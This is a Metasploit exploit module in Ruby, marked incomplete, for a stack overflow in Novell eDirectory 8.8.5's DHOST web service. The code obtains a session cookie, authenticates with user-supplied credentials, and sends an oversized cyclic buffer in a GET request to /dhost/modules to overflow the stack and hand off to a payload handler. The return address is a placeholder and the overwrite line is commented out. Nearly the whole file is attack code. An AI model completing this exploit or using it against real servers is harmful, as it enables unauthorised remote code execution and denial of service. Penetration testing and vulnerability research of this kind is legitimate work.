##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '[INCOMPLETE] Novell eDirectory NDS DHOST Module Name Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in Novell eDirectory 8.8.5.
			},
			'Author'         => 'hdm',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[

				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh'
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Novell eDirectory 8.8.5', { 'Ret' => 0xcccccccc } ], # ntls.dll
				],

			'Privileged'     => true,

			'DisclosureDate' => 'Nov 10 2008',

			'DefaultTarget' => 0))

			register_options([
				Opt::RPORT(8030),
				OptString.new('USERNAME', [true, "A valid username for the eDirectory server", "admin"]),
				OptString.new('PASSWORD', [true, "A valid password for the eDirectory server"]),
				OptBool.new('SSL', [true, 'Use SSL', true])
			], self.class)
	end

	def exploit

		print_status("Obtaining a session cookie from the server...")
		connect
		req =  "GET /dhost/ HTTP/1.1\r\n"
		req << "Host: #{rhost}:#{rport}\r\n"
		req << "Connection: close\r\n\r\n"
		sock.put(req)
		res = sock.get_once(-1,5)
		disconnect

		cookie = nil
		if(res =~ /Set-Cookie:\s*([^\s]+)\s*/mi)
			cookie = $1
			cookie,junk = cookie.split(';')
		end

		if(not cookie)
			print_error("Could not read the cookie value from the eDirectory server")
			return
		end

		print_status("Authenticating to the server as #{datastore['USERNAME']}")

		connect
		data = "usr=#{Rex::Text.uri_encode(datastore['USERNAME'])}&pwd=#{Rex::Text.uri_encode(datastore['PASSWORD'])}&Login=Login"
		req =  "POST /_LOGIN_SERVER_RSP_ HTTP/1.1\r\n"
		req << "Host: #{rhost}:#{rport}\r\n"
		req << "Content-Type: application/x-www-form-urlencoded\r\n"
		req << "Content-Length: #{data.length}\r\n"
		req << "Cookie: #{cookie}\r\n\r\n#{data}"

		sock.put(req)
		res = sock.get_once(-1, 5)
		disconnect

		if(res !~ /dhost/)
			print_status("Invalid login information")
			return
		end

		print_status("Triggering the overflow...")

		connect

		# Fails on 2003 SP2, SEH/STACK both blocked

		buff = ::Rex::Text.pattern_create(2000)
#		buff[1644,4] = [0x10020202].pack("V")

		req =  "GET /dhost/modules?L\x3a#{buff} HTTP/1.1\r\n"
		req << "Host: #{rhost}:#{rport}\r\n"
		req << "Cookie: #{cookie}\r\n\r\n"
		sock.put(req)

		handler
		disconnect
	end

end

